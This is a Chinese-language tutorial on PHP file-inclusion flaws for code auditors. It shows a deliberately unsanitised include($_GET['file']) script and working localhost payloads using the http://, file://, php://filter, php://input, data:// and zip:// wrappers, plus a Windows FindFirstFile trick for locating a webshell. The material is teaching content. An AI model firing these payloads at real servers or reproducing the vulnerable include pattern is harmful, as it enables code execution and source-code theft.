PHP语言中提供了四种常见文件包含函数，分别是include()、require() 、include_once() 、require_once()

    include()：会将指定的文件读入并且执行里面的程序
    require()：会将目标文件的内容读入，并且把自己本身代换成这些读入的内容
    include_once()：与include()类似，只不过该文件已经被包含过，就不会再次包含
    require_once()：与require()类似，只不过该文件已经被包含过，就不会再次包含
    include与require区别：include在引入不存文件时产生一个警告且脚本还会继续执行，而require则会导致一个致命性错误且脚本停止执行

    案例：

    1. <?php
    2. if(isset($_GET['file'])){
    3.     include($_GET['file']);
    4. }
    5. ?>

    被包含的文件都会解析成php文件
    image.png

    **PHP伪协议

    file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams） 注：php://input与php://filter常用
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

    PHP伪协议使用与allow_url_fopen、allow_url_include开启情况，如下图
    PHP代码审计入门——文件包含 - 图2
    allow_url_fopen：是否允许以URL形式的fopen封装协议使得可以访问URL对象文件等
    allow_url_include：是否允许 包含URL 对象文件等
    双开即可远程包含

    http://**

    http://127.0.0.1/test.php?file=http://127.0.0.1/1.txt

    image.png

    file://

    http://127.0.0.1/test.php?file=file://E:/DevelopmentTool/Php/Phpstudy/PHPTutorial/WWW/1.txt

    image.png

    php://filter 

    http://127.0.0.1/test.php?file=php://filter/convert.base64-encode/resource=1.txt

    image.png

    php://input**

    http://127.0.0.1/test.php?file=php://input

POST
<?php phpinfo();?>

    image.png

    data://

    http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

    image.png

    <?php phpinfo();?>采用base64加密，读取出来有问题，所以采用以下方式
    image.png

    zip://

    http://127.0.0.1/test.php?file=zip://E:/DevelopmentTool/Php/Phpstudy/PHPTutorial/WWW/1.zip%231.txt

    注：# 一定要url编码
    image.pngimage.png

    windows FindFirstFile利用

    # test.php

<?php
include($_GET['file'])
?>

# 12345.txt
<?phpinfo();?>

    只知道webshell所在目录，利用windows特性findfristfile的winapi函数，将文件名未知部分用”>”或者”<”代替
    image.png

    image.png